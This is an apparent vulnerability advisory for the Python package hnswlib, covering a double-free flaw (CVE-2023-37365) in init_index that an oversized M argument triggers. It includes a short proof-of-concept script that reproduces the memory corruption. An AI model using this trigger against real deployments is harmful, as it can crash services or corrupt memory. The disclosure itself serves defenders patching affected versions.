Double Free Affecting hnswlib package, versions [0,]


Severity

Recommended
0.0
medium
0
10

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Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.06% (30th percentile)

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  • Snyk IDSNYK-PYTHON-HNSWLIB-5750284
  • published2 Jul 2023
  • disclosed30 Jun 2023
  • creditD4rkD0g

Introduced: 30 Jun 2023

CVE-2023-37365  (opens in a new tab)
CWE-415  (opens in a new tab)

How to fix?

A fix was pushed into the master branch but not yet published.

Overview

hnswlib is a hnswlib

Affected versions of this package are vulnerable to Double Free in init_index when the M argument is a large integer.

PoC

import hnswlib

h = hnswlib.Index(space='l2', dim=1)
h.init_index(max_elements=1, ef_construction=200, M=2305843009213693951)
h.add_items([1], -1)

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